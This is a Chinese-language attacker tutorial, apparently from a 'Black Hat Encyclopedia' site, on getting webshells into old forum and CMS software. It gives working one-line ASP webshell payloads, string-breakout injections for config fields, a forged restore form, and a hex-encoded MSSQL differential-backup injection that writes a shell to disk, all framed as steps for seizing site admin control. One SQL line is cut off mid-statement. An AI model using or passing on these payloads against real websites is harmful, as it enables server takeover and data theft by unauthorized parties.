一、直接上传获得 webshell
这种对 php 和 jsp 的一些程序比较常见,MolyX BOARD 就是其中一例,直接在心情图标管理上传.php 类型,
虽然没有提示,其实已经成功了,上传的文 件 url 应该是 http://forums/images/smiles/下,前一阵子
的联众游戏站和网易的 jsp 系统漏洞就可以直接上传 jsp 文件。文件名是原来的文件名,bo-blog 后台可
以可以直接上传.php 文件,上传的文件路径有提示。以及一年前十分流行的 upfile.asp 漏洞(动网 5.0 和
6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传 webshell 到网站任意可写目录
中,从而拿到网站的管理员控制权限。
二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp
后台可以添加 asa|asP 类型,ewebeditor 的后台也可添加 asa 类型,通过修改后我们可以直接上传 asa 后
缀的 webshell 了,还有一种情况是过滤了.asp,可以添加.aspasp 的文件类型来上传获得 webshell。php
系统的后台,我们可以添加.php.g1f 的上传类型,这是 php 的一个特性,最后的哪个只要不是已知的文件
类型即可,php 会将 php.g1f 作为.php 来正常运行,从而也可成功拿到 shell。LeadBbs3.14 后台获得
webshell 方法是:在上传类型中增加 asp ,注意,asp 后面是有个空格的,然后在前台上传 ASP 马,当然
也要在后面加个空格!
三、利用后台管理功能写入 webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入 webshell。比较的
典型的有 dvbbs6.0,还有 leadbbs2.88 等,直接在后台修改配置文件,写入后缀是 asp 的文件。而
LeadBbs3.14 后台获得 webshell 另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,
最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp 就是我们想要的 shell。
四、利用后台管理向配置文件写 webshell
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe 论坛,某某同学录,沸腾展望新闻系统,
COCOON Counter 统计程序等等,还有很多 php 程序都可以,COCOON Counter 统计程序举例,在管理邮箱处
添上 cnhacker at 263 dot net":eval request(chr (35))//, 在配制文件中就是 webmail="cnhacker at 263
dot net\":eval request(chr(35))//",还有一种方法就是写上
cnhacker at 263 dot net"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行
了。<%eval request(chr(35))%>可以用 lake2 的 eval 发送端以及最新的 2006 客户端来连,需要说明的
是数据库插马时候要选前者。再如动易 2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话
马"%><%execute request("l")%><%',保存顶部栏目菜单参数设置成功后,我们就得到马地址 http://网 站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份及恢复获得 webshell
主要是利用后台对 access 数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量
没有过滤导致可以把任意文件后缀改 为 asp,从而得到 webshell,msssql 版的程序就直接应用了 access
版的代码,导致 sql 版照样可以利用。还可以备份网站 asp 文件为其他后缀 如.txt 文件,从而可以查看
并获得网页源代码,并获得更多的程序信息增加获得 webshell 的机会。在实际运用中经常会碰到没有上传
功能的时 候,但是有 asp 系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来
创造机会,动网论坛就有一个 ip 地址的数据库,在后台的 ip 管理中可以插入最小马然后备份成.asp 文件
即可。在谈谈突破上传检测的方法,很多 asp 程序在即使改了后缀名后也会提示文件非法,通过在.asp 文
件头加上 gif89a 修改后缀为 gif 来骗过 asp 程序检测达到上传的目的,还有一种就是用记事本打开图片文
件,随便粘贴一部分复制到 asp 木马文件头,修改 gif 后缀后上传也可以突破检测,然后备份为.asp 文件,
成功得到 webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是 loveyuki 的 L-BLOG,在
友情添加的 url 出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压
缩出.asp 文件,用海洋的最小马的 eval 客户端连就得到一个 webshell。
七、asp+mssql 系统
这里需要提一点动网 mssql 版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有 asp 代码的
假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">另存为.htm 本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的 WebShell 的相对
路径填写在“要复制到的位置”那里,提交就得到我们可爱的 WebShell 了,恢复代码和此类似,修改相关
地方就可以了。没有遇到过后台执行 mssql 命令比较强大的 asp 程序后台,动网的数据库还原和备份是个
摆设,不能执行 sql 命令备份 webshell,只能执行一些简单的查询命令。可以利用 mssql 注入差异备份
webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的
主要语句代码,利用动网 7.0 的注入漏洞可以用差异备份一个 webshell,可以用利用上面提到的方法,将
conn.asp 文件备份成.txt 文件而获得库名。
差异备份的主要代码:
;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to di这 段 代 码 中 , 0x626273 是 要 备 份 的 库 名 bbs 的 十 六 进 制 , 可 以 是 其 他 名 字 比 如 bbs.bak;
0x3C2565786563757465207265717565737428226C2229253E 是<%execute request("l")%>的十六进制,是 lp
最小马;0x643A5C7765625C312E617370 是 d:\web\1.asp 的十六进制,也就是你要备份的 webshell 路径。
当然也可以用比较常见备份方式来获得 webshell,唯一的不足就是备份后的文件过大,如果备份数据库中
有防下载的的数据表,或者有错误的 asp 代码,备份出来的 webshell 就不会成功运行,利用差异备份是成
功率比较高的方法,并且极大的减少备份文件的大小。
版权声明:本文为 “黑帽百科” 原创文章,转载请附上原文出处链接及本声明;
工作时间:10:00~22:00
客服电话
电子邮件
hack66666@foxamil.com
扫码二维码
获取最新动态